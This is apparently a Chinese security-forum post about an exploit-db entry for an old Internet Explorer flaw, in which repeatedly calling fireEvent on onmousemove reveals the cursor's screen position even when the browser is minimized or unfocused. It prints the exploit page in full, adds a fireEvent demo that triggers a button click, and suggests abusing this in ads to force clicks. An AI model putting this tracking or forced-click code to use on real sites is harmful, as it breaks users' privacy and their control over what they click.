刚刚在exploit-db上看到一个挺有意思的东西。原文链接http://www.exploit-db.com/exploits/23321/ 通过利用fireEvent,触发onmousemove事件,可以完整的记录鼠标的移动路径,甚至在IE最小化或者不是当前窗口的情况下也可以获取当前鼠标坐标。
作者给出的exploit如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Exploit Demo</title>
<script type="text/javascript">
window.attachEvent("onload", function() {
var detector = document.getElementById("detector");
detector.attachEvent("onmousemove", function (e) {
detector.innerHTML = e.screenX + ", " + e.screenY;
});
setInterval(function () {
detector.fireEvent("onmousemove");
}, 100);
});
</script>
</head>
<body>
<div id="detector"></div>
</body>
</html>
在MSDN中fireEvent的描述很简单,就是触发一个指定的事件对象。google了下发现fireEvent也可以触发鼠标单击事件,如下:
<HTML>
<HEAD>
<SCRIPT>
function fnFireEvents()
{
div.innerText = "The cursor has moved over me!";
btn.fireEvent("onclick");
}
</SCRIPT>
</HEAD>
<BODY>
<h1>Using the fireEvent method</h1>
By moving the cursor over the DIV below, the button is clicked.
<DIV ID="div" onmouseover="fnFireEvents();">
Mouse over this!
</DIV>
<BUTTON ID="btn" ONCLICK="this.innerText='I have been clicked!'">Button</BUTTON>
</BODY>
个人感觉这东西还是有一定的利用价值的,特别是用在哪万恶的广告上,让你“被迫”点击
,
在原文里作者给了2个demo,大家可以看下,挺有意思的。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法